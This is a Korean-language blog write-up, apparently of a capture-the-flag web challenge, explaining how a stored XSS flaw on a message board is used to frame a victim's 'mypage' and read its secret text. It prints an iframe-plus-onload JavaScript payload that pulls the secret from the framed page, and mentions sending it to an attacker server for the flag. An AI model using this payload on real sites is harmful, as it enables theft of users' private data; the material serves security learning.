&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;게시판에 XSS 취약점이 있습니다. 이것을 통해 4번째 사진에 있는&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;내 정보에&amp;nbsp; This is a Very Secret Info 정보를 가지고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;오면 되지 않을까 싶습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 ifaram 을 이용하여 게시판에&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;This is a Very Secret Info 정보를 가진 페이지를 띄워 보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CokFs/dJMcacaIYxG/FYnsUVMh8DUd8YuLc6zzfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CokFs/dJMcacaIYxG/FYnsUVMh8DUd8YuLc6zzfK/img.png&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;518&quot; data-is-animation=&quot;false&quot; style=&quot;width: 55.0072%; margin-right: 10px;&quot; data-widthpercent=&quot;55.65&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CokFs/dJMcacaIYxG/FYnsUVMh8DUd8YuLc6zzfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCokFs%2FdJMcacaIYxG%2FFYnsUVMh8DUd8YuLc6zzfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1484&quot; height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6xi6j/dJMcaajFZpB/qErTzKxNBsSLqcx3ceYB50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6xi6j/dJMcaajFZpB/qErTzKxNBsSLqcx3ceYB50/img.png&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;672&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.83%;&quot; data-widthpercent=&quot;44.35&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6xi6j/dJMcaajFZpB/qErTzKxNBsSLqcx3ceYB50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6xi6j%2FdJMcaajFZpB%2FqErTzKxNBsSLqcx3ceYB50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjc5kt/dJMcaivce6z/vsAW0OOWQvLhK1cDl8CdS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjc5kt/dJMcaivce6z/vsAW0OOWQvLhK1cDl8CdS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjc5kt/dJMcaivce6z/vsAW0OOWQvLhK1cDl8CdS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcjc5kt%2FdJMcaivce6z%2FvsAW0OOWQvLhK1cDl8CdS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;320&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;그리고 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;document로 접근하여 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;381&quot; data-origin-height=&quot;44&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mjNnb/dJMcafZzTq1/I0bRF2HgPwzogK19GOGWtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mjNnb/dJMcafZzTq1/I0bRF2HgPwzogK19GOGWtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mjNnb/dJMcafZzTq1/I0bRF2HgPwzogK19GOGWtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmjNnb%2FdJMcafZzTq1%2FI0bRF2HgPwzogK19GOGWtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;701&quot; height=&quot;81&quot; data-origin-width=&quot;381&quot; data-origin-height=&quot;44&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; &lt;br /&gt;document.getElementsByClassName(&quot;card-text&quot;)[1].innerHTML&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;This is a Very Secret Info 정보를 찾아냈습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 스크립트를 적용하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;726&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lLOqz/dJMcadHqQp8/k54ZHvcM7GBaqYPmyckRtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lLOqz/dJMcadHqQp8/k54ZHvcM7GBaqYPmyckRtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lLOqz/dJMcadHqQp8/k54ZHvcM7GBaqYPmyckRtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlLOqz%2FdJMcadHqQp8%2Fk54ZHvcM7GBaqYPmyckRtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;726&quot; height=&quot;261&quot; data-origin-width=&quot;726&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;40&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cISPX0/dJMcahXqhJ7/MKlGytXhS1EzBmBj1AObYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cISPX0/dJMcahXqhJ7/MKlGytXhS1EzBmBj1AObYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cISPX0/dJMcahXqhJ7/MKlGytXhS1EzBmBj1AObYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcISPX0%2FdJMcahXqhJ7%2FMKlGytXhS1EzBmBj1AObYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;40&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;40&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;671&quot; data-origin-height=&quot;33&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dttKul/dJMcaiPuVGz/UUvLeBUGXQ6poAQ07U9b4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dttKul/dJMcaiPuVGz/UUvLeBUGXQ6poAQ07U9b4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dttKul/dJMcaiPuVGz/UUvLeBUGXQ6poAQ07U9b4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdttKul%2FdJMcaiPuVGz%2FUUvLeBUGXQ6poAQ07U9b4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2664&quot; height=&quot;131&quot; data-origin-width=&quot;671&quot; data-origin-height=&quot;33&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;타겟을 지정해준다면 보다 편하게 이용할 수 있으며 content를 이용하면&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;This is a Very Secret Info 정보까지 바로 볼 수있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음은&amp;nbsp; secretData에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Very Secret Info 정보넣어&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;alert 알림창이 뜨는지 테스트를 해봤습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u9Oin/dJMcaaDYqSS/UXGV9akbkT5prfrWTFK5i1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u9Oin/dJMcaaDYqSS/UXGV9akbkT5prfrWTFK5i1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u9Oin/dJMcaaDYqSS/UXGV9akbkT5prfrWTFK5i1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu9Oin%2FdJMcaaDYqSS%2FUXGV9akbkT5prfrWTFK5i1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;716&quot; height=&quot;390&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;61&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0x11n/dJMcai21x9I/vQDVKl0YeB3lHkDt02Prq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0x11n/dJMcai21x9I/vQDVKl0YeB3lHkDt02Prq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0x11n/dJMcai21x9I/vQDVKl0YeB3lHkDt02Prq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0x11n%2FdJMcai21x9I%2FvQDVKl0YeB3lHkDt02Prq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;516&quot; height=&quot;61&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;61&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;역시 알림창이 뜨지를&amp;nbsp; 않습니다. 이유는 전 문제와 같은 방식으로 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;onload를 이용해야 됩니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7mLYw/dJMcahJSpRe/NQZcTGkusV2ToBPVtP1rHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7mLYw/dJMcahJSpRe/NQZcTGkusV2ToBPVtP1rHk/img.png&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;415&quot; data-is-animation=&quot;false&quot; style=&quot;width: 57.4509%; margin-right: 10px;&quot; data-widthpercent=&quot;58.13&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7mLYw/dJMcahJSpRe/NQZcTGkusV2ToBPVtP1rHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7mLYw%2FdJMcahJSpRe%2FNQZcTGkusV2ToBPVtP1rHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;711&quot; height=&quot;415&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zNqPV/dJMcah4awon/7CMuvblBgkGGK3Ck7f9950/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zNqPV/dJMcah4awon/7CMuvblBgkGGK3Ck7f9950/img.png&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;585&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;41.87&quot; style=&quot;width: 41.3863%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zNqPV/dJMcah4awon/7CMuvblBgkGGK3Ck7f9950/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzNqPV%2FdJMcah4awon%2F7CMuvblBgkGGK3Ck7f9950%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;722&quot; height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1767708659212&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;iframe src=&quot;CTF URL/scriptPrac/mypage.html&quot; id=&quot;targetFrame&quot; onload=&quot;myhack()&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
 
&amp;lt;script&amp;gt;
function myhack(){
var myFrame = document.getElementById('targetFrame');
var secretData = 
myFrame.contentDocument.getElementsByClassName(&quot;card-text&quot;)[1].innerHTML;
alert(secretData);
}
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;onload를 이용하여 myhack이라는 함수를 추가해주어 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;mypage.html이 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;로드가 다 되면 myhack 함수가 실행이 될겁니다&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그럼 이제 알림창에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Very Secret Info&lt;span&gt; 나오니 secretData에 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;공격자 서버로 연결하여 falg를 획득 해봅시다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sUSAv/dJMcaaKKbmM/H8Zo20UmPsmoktCYjijk9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sUSAv/dJMcaaKKbmM/H8Zo20UmPsmoktCYjijk9K/img.png&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;585&quot; data-is-animation=&quot;false&quot; style=&quot;width: 21.0465%; margin-right: 10px;&quot; data-widthpercent=&quot;21.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sUSAv/dJMcaaKKbmM/H8Zo20UmPsmoktCYjijk9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsUSAv%2FdJMcaaKKbmM%2FH8Zo20UmPsmoktCYjijk9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1110&quot; height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbjTrl/dJMcabQpHMf/MPfejnmnw2BKqcmUetr9EK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbjTrl/dJMcabQpHMf/MPfejnmnw2BKqcmUetr9EK/img.png&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;275&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.3379%; margin-right: 10px;&quot; data-widthpercent=&quot;51.54&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbjTrl/dJMcabQpHMf/MPfejnmnw2BKqcmUetr9EK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbjTrl%2FdJMcabQpHMf%2FMPfejnmnw2BKqcmUetr9EK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1248&quot; height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/egFa6c/dJMcahXqiFX/NGPDpCgMMoM81PBctlAKxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/egFa6c/dJMcahXqiFX/NGPDpCgMMoM81PBctlAKxk/img.png&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;181&quot; data-is-animation=&quot;false&quot; style=&quot;width: 26.2901%;&quot; data-widthpercent=&quot;26.91&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/egFa6c/dJMcahXqiFX/NGPDpCgMMoM81PBctlAKxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FegFa6c%2FdJMcahXqiFX%2FNGPDpCgMMoM81PBctlAKxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;그리고 중요 정보가 있는 secret.php로 바꿔서 관리자에게 보내면&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt; flag를 획득할 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;Steal Info 2&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/borvDh/dJMb99SBKgF/5AdjhI7BbJF5nxaw2TNFCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/borvDh/dJMb99SBKgF/5AdjhI7BbJF5nxaw2TNFCK/img.png&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;396&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.3829%; margin-right: 10px;&quot; data-widthpercent=&quot;51.99&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/borvDh/dJMb99SBKgF/5AdjhI7BbJF5nxaw2TNFCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FborvDh%2FdJMb99SBKgF%2F5AdjhI7BbJF5nxaw2TNFCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eRSoJg/dJMcagqEsg8/qQ2CQNcFZ7MVyhWLH85n7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eRSoJg/dJMcagqEsg8/qQ2CQNcFZ7MVyhWLH85n7k/img.png&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;790&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.4543%;&quot; data-widthpercent=&quot;48.01&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eRSoJg/dJMcagqEsg8/qQ2CQNcFZ7MVyhWLH85n7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeRSoJg%2FdJMcagqEsg8%2FqQ2CQNcFZ7MVyhWLH85n7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;912&quot; height=&quot;790&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
